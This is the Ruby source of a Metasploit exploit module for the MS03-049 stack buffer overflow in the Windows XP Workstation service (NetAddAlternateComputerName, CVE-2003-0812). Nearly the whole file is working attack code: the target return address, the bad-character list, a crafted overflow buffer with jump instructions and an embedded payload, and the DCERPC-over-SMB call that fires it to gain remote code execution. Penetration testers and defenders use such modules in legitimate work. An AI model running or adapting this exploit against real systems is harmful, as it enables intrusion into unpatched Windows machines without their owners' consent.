Microsoft Workstation Service NetAddAlternateComputerName Overflow



##

# $Id: ms03_049_netapi.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking

    include Msf::Exploit::Remote::DCERPC
    include Msf::Exploit::Remote::SMB

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Microsoft Workstation Service NetAddAlternateComputerName Overflow',
            'Description'    => %q{
                    This module exploits a stack buffer overflow in the NetApi32 NetAddAlternateComputerName
                function using the Workstation service in Windows XP.
            },
            'Author'         => [ 'hdm' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 9262 $',
            'References'     =>
                [
                    [ 'CVE', '2003-0812' ],
                    [ 'OSVDB', '11461' ],
                    [ 'BID', '9011' ],
                    [ 'MSB', 'MS03-049' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'thread',
                },
            'Privileged'     => true,
            'Payload'        =>
                {
                    'Space'    => 1000,
                    'BadChars' =>  "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c" + [*(0x80..0x9f)].pack('C*'),
                    'StackAdjustment' => -3500,
                },
            'Platform'       => 'win',
            'DefaultTarget'  => 0,
            'Targets'        =>
                [
                    [ 'Windows XP SP0/SP1',
                        {
                            'Ret' => 0x71aa32ad # pop/pop/ret in ws2help.dll
                        }
                    ],
                ],
            'DisclosureDate' => 'Nov 11 2003'))

        register_options(
            [
                OptString.new('SMBPIPE', [ true,  "The pipe name to use (BROWSER, WKSSVC)", 'BROWSER']),
            ], self.class)
    end

    def exploit

        connect()
        smb_login()

        handle = dcerpc_handle(
            '6bffd098-a112-3610-9833-46c3f87e345a', '1.0',
            'ncacn_np', ["\\#{datastore['SMBPIPE']}"]
        )

        print_status("Binding to #{handle} ...")
        dcerpc_bind(handle)
        print_status("Bound to #{handle} ...")

        print_status("Building the stub data...")


        name = rand_text_alphanumeric(5000)
        name[3496, 4] = [target.ret].pack('V')
        name[3492, 2] = "\xeb\x06"
        name[3500, 5] = "\xe9" + [-3505].pack('V')
        name[0, payload.encoded.length] = payload.encoded

        stub =
            NDR.long(rand(0xffffffff)) +
            NDR.UnicodeConformantVaryingString("\\\\#{datastore['RHOST']}") +
            NDR.long(rand(0xffffffff)) +
            NDR.UnicodeConformantVaryingString(name) +
            NDR.long(rand(0xffffffff)) +
            NDR.UnicodeConformantVaryingString('') +
            NDR.long(0) +
            NDR.long(0)

        print_status("Calling the vulnerable function...")

        begin
            dcerpc.call(0x1b, stub)
        rescue Rex::Proto::DCERPC::Exceptions::NoResponse
        rescue => e
            if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
                raise e
            end
        end

        # Cleanup
        handler
        disconnect
    end

end